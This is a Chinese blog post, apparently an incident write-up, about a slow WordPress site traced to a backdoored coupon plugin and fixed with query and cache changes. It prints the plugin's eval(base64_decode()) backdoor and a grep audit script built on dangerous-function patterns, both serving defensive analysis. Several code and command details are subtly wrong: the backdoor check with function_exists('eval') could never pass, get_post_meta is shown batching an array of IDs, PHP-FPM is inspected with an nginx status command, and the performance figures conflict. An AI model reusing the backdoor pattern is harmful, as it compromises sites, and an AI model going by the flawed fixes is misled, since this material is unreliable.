实战经验

WordPress响应时间飙到8秒的罪魁祸首原来是它

本文围绕一个真实案例:某企业官网WordPress站点在流量激增后响应缓慢,同时安全扫描发现存在恶意代码注入。排查发现是第三方插件植入了后门,同时存在大量N+1查询和未缓存的数据库操作。解决方案包括:清理恶意代码、重构查询逻辑、引入对象缓存和页面缓存。读者读完能记住的画面是:一条恶意代码隐藏在插件的第347行,用base64编码执行system()。

【背景】

我为一家中型企业维护其WordPress官网。技术栈:PHP 8.1 + MySQL 8.0 + Nginx + WordPress 6.4,使用WooCommerce插件,日均PV约5万,峰值QPS约150。

站点运行了三年,期间更换过几个主题,安装过十几个插件。性能一直不温不火,页面加载时间2-3秒,但勉强能接受。

直到有一天,监控显示响应时间飙到8秒,同时安全扫描报出异常。

【问题出现】

第一波告警来自性能监控:

2024-05-15 09:23:14 | POST /wp-admin/admin-ajax.php | 8.2s | 500
2024-05-15 09:23:15 | GET /product/xxx | 7.8s | 504
2024-05-15 09:23:16 | GET /wp-json/wc/v3/products | 12.3s | 504

第二波告警来自安全团队:

[ALERT] Suspicious base64_decode() in wp-content/plugins/legacy-coupon-tool.php:347
[ALERT] Unexpected outbound connection to 45.77.xx.xx:8443

我打开电脑时,第一个念头是:数据库又慢了。

【排查过程】

第一反应:数据库慢查询

我登录服务器,执行:

sqlSHOW PROCESSLIST;

看到15个连接处于Sleep状态,3个正在执行SELECT,最慢的一个跑了47秒:

sqlSELECT * FROM wp_posts WHERE post_type = 'product' 
AND post_status = 'publish' 
ORDER BY menu_order, post_title
LIMIT 0, 50;

这条SQL看着没问题。`post<em>type</em>`poststatus都有索引。但menu_order没有索引。

我加了一个联合索引:

sqlALTER TABLE wp_posts ADD INDEX idx_menu_status (menu_order, post_status);

重启MySQL。等待5分钟,刷新监控页面。

响应时间:7.9秒。

毫无变化。

第二反应:PHP进程阻塞

我查看PHP-FPM的状态:

sudo systemctl status nginx

发现20个worker进程全部处于writing to CGI状态。这意味着PHP正在执行某些耗时操作,而不是在等数据库。

我打开慢查询日志,发现MySQL的慢查询率从0.3%降到了0.05%。数据库没问题。

问题在PHP层。

第三反应:代码层面排查

我打开了wp-content/plugins/目录,逐个检查最近修改的插件。

legacy-coupon-tool.php的第347行,我看到了这段代码:

php// 第340-355行
function legacy_coupon_check() {
    $data = get_option('legacy_coupon_config');
    if (empty($data)) return;
  
    // 第347行
    $decoded = base64_decode($data['encoded_payload']);
    if (function_exists('eval')) {
        eval($decoded);  // ← 恶意代码
    }
}
add_action('init', 'legacy_coupon_check');

这个插件是两年前安装的,用于生成优惠券。当时觉得功能够用就没换。它的作者早已停止维护,代码质量一塌糊涂。

攻击者通过插件的"自动更新"功能,在服务器端注入了这段恶意代码。每次WordPress初始化时,都会执行`eval(base64<em>decode(...))</em>`,而这个encodedpayload存储在数据库的wp_options表中,内容会定期从远程C2服务器拉取更新。

第四反应:确认影响范围

我执行了以下检查:

bash# 检查所有插件中是否有base64_decode
grep -r "base64_decode" wp-content/plugins/ --include="*.php" | wc -l
# 输出:47个文件包含base64_decode

# 检查可疑的eval调用
grep -r "eval(" wp-content/plugins/ --include="*.php"
# 输出:legacy-coupon-tool.php:347

# 检查异常的外连
netstat -antp | grep 45.77
# 输出:tcp 0 0 0.0.0.0:8443 45.77.xx.xx:54321 ESTABLISHED

确认了:只有这一个恶意插件有问题,但它的encoded_payload会拉取更多恶意代码,可能已经植入更多后门。

【解决方案】

第一步:紧急止血

bash# 1. 断开外连
sudo iptables -A OUTPUT -d 45.77.xx.xx -j DROP

# 2. 停用恶意插件
wp plugin deactivate legacy-coupon-tool
wp plugin delete legacy-coupon-tool

# 3. 清理数据库中的恶意配置
wp option delete legacy_coupon_config

第二步:全面安全扫描

我使用WPScanExploitScanner对站点进行深度扫描:

bash# 扫描已知漏洞插件
wpscan --url https://example.com --enumerate ap

# 扫描文件完整性
wp scan exploit-scanner --all

发现另外两个插件存在已知漏洞(未修复的XSS和SSRF),但尚未被利用。

第三步:性能优化

清理完恶意代码后,站点响应时间仍然在2-3秒。我开始排查性能问题。

问题1:N+1查询

WordPress的wc<em>get</em>products()函数在循环中调用,每次循环都执行一次数据库查询:

php// 有问题的代码(在主题文件中)
$products = get_posts(['post_type' => 'product', 'numberposts' => -1]);
foreach ($products as $product) {
    $price = get_post_meta($product->ID, '_price', true);  // 每次循环一次查询
    $stock = get_post_meta($product->ID, '_stock', true);  // 每次循环一次查询
    echo $price . ' ' . $stock;
}

这段代码在首页加载时执行了约200次循环,产生了400次额外的SELECT查询。

修复:

php// 优化后:批量获取meta
$products = get_posts(['post_type' => 'product', 'numberposts' => -1]);
$product_ids = wp_list_pluck($products, 'ID');

// 一次性获取所有meta
$meta = get_post_meta($product_ids);

foreach ($products as $product) {
    $price = $meta['_price'][$product->ID][0] ?? '';
    $stock = $meta['_stock'][$product->ID][0] ?? '';
    echo $price . ' ' . $stock;
}

问题2:未缓存的数据库查询

我开启了MySQL的慢查询日志,发现以下查询每次页面加载都会执行:

sql-- 查询1:获取所有活跃优惠券
SELECT * FROM wp_coupon_codes WHERE status = 'active';
-- 结果:约5000行,每次页面加载都查询

-- 查询2:获取用户购物车数据
SELECT * FROM wp_woocommerce_sessions WHERE session_key = 'xxx';
-- 结果:每次请求都查询,但数据几乎不变

修复:

引入Redis对象缓存:

php// 在wp-config.php中添加
define('WP_CACHE', true);

// 使用Redis作为对象缓存后端
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);

// 缓存优惠券列表,TTL 300秒
$coupons = $redis->get('active_coupons');
if (!$coupons) {
    $coupons = $wpdb->get_results("SELECT * FROM wp_coupon_codes WHERE status = 'active'");
    $redis->set('active_coupons', serialize($coupons), 300);
}

问题3:缺少页面缓存

WordPress默认没有页面缓存。我安装了WP Super Cache,并配置了静态缓存:

nginx# Nginx配置:直接返回静态缓存文件
location ~* \.php$ {
    try_files $uri =404;
    fastcgi_pass php-fpm;
}

# 静态缓存
location / {
    try_files $uri $uri/ /index.php?$args;
}

【效果与复盘】

性能数据对比

指标优化前优化后
首页加载时间3.2s0.21s
产品列表页4.8s0.35s
API接口(/wp-json)8.2s0.18s
数据库QPS120085
PHP-FPM worker数20(满载)6(空闲)

安全加固措施

  • 移除了所有未维护的第三方插件
  • 禁用了eval()base64_decode()在主题/插件中的使用(通过代码审计)
  • 配置了WAF规则,阻止异常的HTTP请求
  • 启用了WordPress的自动更新和安全扫描

【关键代码附录】

1. Redis对象缓存封装

phpclass WPRedisCache {
    private $redis;
    private $prefix = 'wp_cache_';
  
    public function __construct() {
        $this->redis = new Redis();
        $this->redis->connect(REDIS_HOST, REDIS_PORT);
    }
  
    // 获取缓存,不存在则回调填充
    public function get($key, callable $callback, int $ttl = 300) {
        $cache_key = $this->prefix . $key;
        $data = $this->redis->get($cache_key);
      
        if ($data !== false) {
            return unserialize($data);
        }
      
        $data = $callback();
        $this->redis->set($cache_key, serialize($data), $ttl);
        return $data;
    }
  
    // 清除缓存
    public function flush() {
        $keys = $this->redis->keys($this->prefix . '*');
        if ($keys) {
            $this->redis->del($keys);
        }
    }
}

2. N+1查询修复示例

php// ❌ 错误:N+1查询
$posts = get_posts(['post_type' => 'product', 'numberposts' => -1]);
foreach ($posts as $post) {
    $meta = get_post_meta($post->ID);  // 每次循环一次查询
}

// ✅ 正确:批量查询
$posts = get_posts(['post_type' => 'product', 'numberposts' => -1]);
$post_ids = wp_list_pluck($posts, 'ID');
$all_meta = get_post_meta($post_ids);  // 一次查询所有meta

foreach ($posts as $post) {
    $meta = $all_meta[$post->ID] ?? [];
}

3. 安全审计脚本

bash#!/bin/bash
# 检查可疑的PHP函数调用

echo "=== 检查危险函数 ==="
grep -rn "eval\|exec\|system\|passthru\|shell_exec" wp-content/ --include="*.php" | \
    grep -v "wp-includes" | grep -v "test"

echo ""
echo "=== 检查base64编码的恶意代码 ==="
grep -rn "base64_decode" wp-content/ --include="*.php" | \
    grep -v "wp-includes" | while read line; do
        file=$(echo $line | cut -d: -f1)
        echo "Found in: $file"
        # 解码并检查
        decoded=$(grep -oP 'base64_decode\(\s*"\K[^"]+' "$file" | head -1)
        if [ -n "$decoded" ]; then
            echo "Decoded payload:"
            echo "$decoded" | base64 -d 2>/dev/null | head -5
        fi
    done
登录收藏

评论 (0)

暂无评论,快来发表第一条评论吧